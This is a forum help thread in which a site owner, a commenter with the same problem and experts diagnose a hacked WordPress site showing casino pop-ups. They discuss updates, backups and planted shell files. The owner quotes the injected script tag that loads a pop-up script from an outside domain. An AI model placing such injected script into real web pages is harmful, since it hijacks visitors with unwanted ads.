wordpress web site plagued with pop ups

Hello

I have a web site hosted on www.1&1.co.uk using wordpress but recently have noticed when i go to the site it is plagued with casino page pop up advertisements.

you go to the site and 4 other pages open up for casino games.

is this a problem with the site on wordpress or with the domain name hosted with 1&1?

desperately need some help with this issue

thank you
drzackzussAsked:
Who is Participating?

[Product update] Infrastructure Analysis Tool is now available with Business Accounts.Learn More

x
I wear a lot of hats...

"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.

2toriaCommented:
Hi there.

I'm not entirely sure what the problem might be without having a look at your website.  Are you able to post a link?

Have you any Wordpress plugins installed on your site?  If so can you list them?  It might be possible one of them is causing this issue.

Matt
0
drzackzussAuthor Commented:
hello

yes there are three plug ins installed

add logo to admin
formidable
options framework



also i have gone onto the web site using firefox and used the "view page source" option and have found these lines of code at the very bottom

</body>
</html><script language="javascript" src="http://www.777seo.com/pop.php?username=empixcrew&max=5"></script>
<noscript><a href="http://www.paid-to-promote.net/" target="_blank">Paid To Popup</a></noscript>

i imagine this is def what is causing the problem but not sure how i can go about removing it.



thank you for any more help
0
David Johnson, CD, MVPOwnerCommented:
Your site has been compromised. if you are using v3.2.1 of wordpress you should update it to the latest stable version and go through your site checking your code

You might want to take a look at this http://pastebin.com/JzQvZvyT this hacking crew is very busy..

You might also want to look at this site http://community.websense.com/blogs/securitylabs/archive/2012/01/30/3_2D00_2_2D00_1-wordpress-vulnerability-leads-to-possible-new-exploit-kit.aspx which shows what to look for in your code.
0

Experts Exchange Solution brought to you by

Your issues matter to us.

Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.

Start your 7-day free trial
Introduction to R

R is considered the predominant language for data scientist and statisticians. Learn how to use R for your own data science projects.

drzackzussAuthor Commented:
hello

thank you or your help

just to explain i have access to edit the wordpress site but do not have access to the domain.

the code does not appear at all when looking through every file on wordpress but as said is clearly on the html for the site.

would this be a case of contacting the guy who hosts the site and asking him to log on to the domain host and delete the offending code?

will it just be the same HTML code on the web page source but hosted on a server?  is it a simple job to edit it out?
0
David Johnson, CD, MVPOwnerCommented:
just to explain i have access to edit the wordpress site but do not have access to the domain

When you say you have access to edit but not access to the domain does this mean that you can access the site through the wordpress editor but not directly access the site itself?  i.e. you do not have direct ftp/webdav access to the site?

You need to be able to go through every source file on the site. and every plugin and all of the script files.  If you have a backup of the site, then restoring from a backup is probably quicker.
0
Beyond_HidekiCommented:
I am in the same situation as the OP. Thanks to google I had found this posting. I now upgraded my WP version to the latest which was 3.3.1 let's see if that's the issue.

I thought I was just "shelled" and they does manual editing of my files so they could inject that certain code. At first, I thought it was a timthumb exploit, but since it happened again to me (which what brought me here), so its not from there, I cannot find shells anymore in my files.

for others' sake, try checking out your wp-blog-header.php file. I saw the code there.
0
David Johnson, CD, MVPOwnerCommented:
You're not alone.. hundreds of wordpress sites have been compromised this way daily
0
drzackzussAuthor Commented:
hello

thank you for your help

I managed to get in contact with the guy who currently hosts the site and he has helped remove the code.

he seems to think it was a virus in a picture that was uploaded but i think that he is just trying to cover his back as he is supposed to keep it all up to date.

anyway removing the code and updating wordpress to the latest version has stop the pop up ads.
0
David Johnson, CD, MVPOwnerCommented:
It wasn't the picture it was a vulnerability in WordPress.. Twit.tv also got hit with the same problem.Check this page as this is still going on.
0
Beyond_HidekiCommented:
I checked my site again today, but unfortunately, the script still gets injected, even though I had upgraded to the latest version of WP.

I then decided to check again my file manager, and examine the wordpress files. You can also do so by using this link http://codex.wordpress.org/WordPress_Files as reference.

I noticed 2 files which are not really WP files. Namely:

wp-ok.php
wp-link.php

at first, I didnt think that these were such malicious php files. checking whats inside those are:
on wp-ok.php its a c99 shell.
on wp-link.php its an obfuscated php file that when loaded, a password protected page will show. just like the image attached.

wp-link.php when accessed directly.
I also found out an unwanted Cron job happening on my server. it has a name of OneHeart.bot.chk --deleted that job too coz it had eaten up a lot of my hosting account's resources.

I am on the process of locating and removing all the possible malicious files or shells in my file manager. Though, the entry point of this exploit is still unclear to me.
0
It's more than this solution.Get answers and train to solve all your tech problems - anytime, anywhere.Try it for free Edge Out The Competitionfor your dream job with proven skills and certifications.Get started today Stand Outas the employee with proven skills.Start learning today for free Move Your Career Forwardwith certification training in the latest technologies.Start your trial today
Web Browsers

From novice to tech pro — start learning today.